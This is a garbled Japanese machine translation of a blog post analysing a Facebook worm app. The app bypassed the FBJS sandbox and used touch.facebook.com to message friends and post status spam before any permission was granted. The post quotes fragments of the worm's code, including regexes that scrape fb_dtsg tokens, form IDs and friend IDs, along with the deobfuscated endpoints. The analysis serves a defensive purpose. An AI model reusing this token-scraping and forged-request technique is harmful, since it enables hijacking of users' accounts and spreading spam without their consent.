最近のトピックで、彼らは誰かが翻訳したらいいと
願っています。 私はテキストを見ました-それはそれほど多くないようです。 したがって、それが面白い人に見て...
Facebookの新しい悪意のあるワームアプリがリリースされました。
Facebookのサンドボックスメカニズムを回避し、承認フォームが表示される前にアクティブ化されます。アプリケーションページにアクセスするだけで、友人にメッセージを送信し、ステータスを更新します。
niebezpiecznik.plのニュースで述べられているように、配信にはFacebookモバイルサイト(touch.facebook.com)を使用しています。 私はすぐに分析しました-アプリケーションコードに正確に何があるか見てみましょう。
免責事項:自宅でこれをしないでください-私はプロのスタントマンであり、危険な生活をすることも大好きです。 Facebookの標準アカウントでこの分析を実行しないでください。そこにエクスプロイトが実装されている場合に備えて仮想マシンを使用してください。 touch.facebook.comが関与していることがわかり次第、次のように追加しました。
127.0.0.1 touch.facebook.com
/ etc / hosts(これはtouch.facebook.comへのすべてのリクエストを私のコンピューターにリダイレクトします)ですが、注意してください。 あなたは警告されました。
さっそく見てみましょう
アプリケーションのホームページは次のようになります。
表示されるのは、いくつかの広告だけです。 しかしその下では、多くのことが起こっています。 Firebugネットワークバーを見てみましょう。
アプリケーションは、あなたから許可をリクエストする前であっても、すでにtouch.facebook.comにリクエストを送信しており、おそらくあなたに代わってメッセージを送信し、他のアクションを実行しています。 これらのリクエストは、スクリーンショットで赤でマークされています(Facebookモバイルサイトをブロックしました)。 その後、be2.plからの広告がロードされます。 したがって、アプリケーションは間違いなく悪意のあるものです。
ショートコードを取得する
コード自体とHTMLは
apps.facebook.com/fbml/fbjs_ajax_proxy.php?__a=1
コードは
JSONファイルにサンドボックス化され、次のようになります。
JSONファイルをローカルディスクにダウンロードして抽出した後(抽出にPHPとSpidermonkey、フォーマットにEclipseを使用)、最終的なアプリケーションコードを取得します(
step2_2.jsを参照
) 。
サンドボックス
すべてのFacebookアプリケーションは、グローバルウィンドウオブジェクトへのリンク(Facebookページの変更、リダイレクト、非表示フォームの送信などができないようにする)を防ぐために、「
サンドイッチ 」されています。 この特定の分析では、次の重要事項に注意する必要があります。
- JSコードとオブジェクトはプレフィックス
aBIGNUMBER_variable_name
( aBIGNUMBER_variable_name
)にあります - HTMLオブジェクトは、
div id="appBIGNUMBER_name"
( div id="appBIGNUMBER_name"
)を使用したIDを持ちdiv id="appBIGNUMBER_name"
( div id="appBIGNUMBER_name"
は三角形の括弧で囲む必要がありますが、Habroエディターは容赦なくねじれ、削除されます-およそTransl。 ) -
$FBJS
、アプリケーションがグローバルウィンドウオブジェクトを参照しないようにするために使用されます。 私たちの目的のために、あなたはそれを仮定することができます
$FBJS.idx(a) === a
$FBJS.ref(this) === this
- 置換については、BIGNUMBERを文字「x」に置き換えました。
この投稿で使用されているすべてのコードは
github.comでホストされています。これは本当に興味深いものです。
分析
曇り方法
初期化後、アプリケーションは次の宣言で開始されます。
ax_domethod = ax_findvalues.firefunc(ax_document.getElementById('help_container').getFirstChild().getTitle());
したがって、アプリケーションはDOM要素の1つのタイトルを受け取り、それを何らかの関数に渡します。 タイトルには何が含まれていますか? ページコード(
app.html )を見ると、かなり奇妙に見えることがわかります。
<div id="app100124540047022_m"
class="m"
fbcontext="6ff9e32a4c8c"
title="choy:ketmdslqxb.ujpzgvnra/fiw_?="/>
ヘッダーは、隠されたアプリケーション変数を復号化するために使用できるキーのようなもののようです。
そして我々は正しい。 実際、
choy:ketmdslqxb.ujpzgvnra/fiw_?=
辞書
choy:ketmdslqxb.ujpzgvnra/fiw_?=
-ax_create.help()関数はこの辞書から文字を選択して、URL、フィールド名などを形成します。 文字
オフセットは 、やや紛らわしい変数
ax_methで定義されています。
データのスクラッチ
わかりました。アプリケーションは混乱を招き、DOMオブジェクトを使用して変数を解読します。 しかし、それは何をしますか?
ax_findvaluesを見てみましょう:
var ax_findvalues = {
a : ((new ax_RegExp('st_.or._i.\\\x22 .al.e=\\\x22(.*?)\\\x22', ''))),
// <form action="http://www.facebook.com/wallpost.php" post_form_id value
b : ((new ax_RegExp('b_d.s.\\\x22 v..ue=\\\x22(.*?)\\\x22', ''))),
// value = type="hidden" id="fb_dtsg" name="fb_dtsg"
c : ((new ax_RegExp('po.le\\.pp\\?i.=(\\d+)\\\x22', ''))),
// href="http://www.facebook.com/profile.php?id=xxx" your profile ID
d : ((new ax_RegExp('na.e=\\\x22i.s\\[]\\\x22 vle=\\\x22(.*?)\\\x22', 'gi'))),
// name=ids[] value= -- your friend ids
//...
この変数には、非常に興味深い正規表現が含まれています。Facebookに埋め込まれたHTMLコードから友人のID、独自のID、および一意の認証子をアプリケーションに抽出するために使用されます。 しかし、「サンディング」によって保護されているため、アプリケーションはこのデータを使用して何もできません。 まあ、そうでもない。
タッチでハッキング
Hacked by Touch-「タッチによるエクスプロイト」という単語ゲームの無料翻訳。文字通りモバイルサイトtouch.facebook.comでエクスプロイトが使用されたことを意味します。 -(約Transl。)
コードをさらに詳しく見ると、混乱しているデータが実際にあることがわかります。
m=http://touch.facebook.com/message_send.php
ftarg=fra
su=http://touch.facebook.com/submit_status.php (status update)
pid=post_form_id
lp=http://touch.facebook.com/reqs.php?id=
fhome=http://touch.facebook.com/home.php
fbd=fb_dtsg
hc=fb_dtsg
そのため、ほとんどの場合、アプリケーションはtouch.facebook.comに連絡してメッセージを送信し、ステータスを更新します。 繰り返しますが、
我々は正しいです。 プロセス自体:
- ax_findvalues.firefunc()はax_sheep、ax_params変数で友達IDとその他のデータを取得します( 264行目 )
- 新しいフォームとiframeが作成されます。
- ax_methodaction( 183行目 )は、touch.facebook.comのフォームに次のメッセージを入力します(最大20人):
私はあなたのことを考えました...
私はfb広告クレジットを使い尽くしてuaギフトを送信するため、ここ= http://apps.facebook.com/makemelaughnow/
- 500以上または2未満の場合、ステータスの更新:「あなたが私の本当の友達httpである場合にのみここにアクセスしてください://apps.facebook.com/makemelaughnow /」( リンクが破損しているため、神は誰もクリックできません。リンクの作成を無効にすると、自動転送が無効になります-約トランスレーション )。
- このアプリケーションを自分に追加しています( 行297 )
- 広告が表示され、アプリケーションがオブジェクトをクリーンアップします。
おわりに
ここで確認できるのは、モバイルサイトが通常のサイトと同じ認証を使用しているが、「スヌーピング」メカニズムによって保護されていない場合にFacebookの脆弱性を悪用するアプリケーションです。 したがって、ステータスを更新する許可を要求する代わりに、アプリケーションはDOMからデータセッションをサイレントに受信し、touch.facebook.comを介して要求を送信します。 Facebookサイトでエラーが使用されていることは明らかです。 レッスン-
モバイルサイトを忘れないでください 。
オリジナルは
こちらです。
UPD。:コメントで示唆されているように、パーサーはリンクを少し調整するので、リンクをたどり、リンク先を確認して修正します。
PS翻訳の誤りに気づいたら、ロシアのプログラマーの語彙を完全に話せないことを教えてください。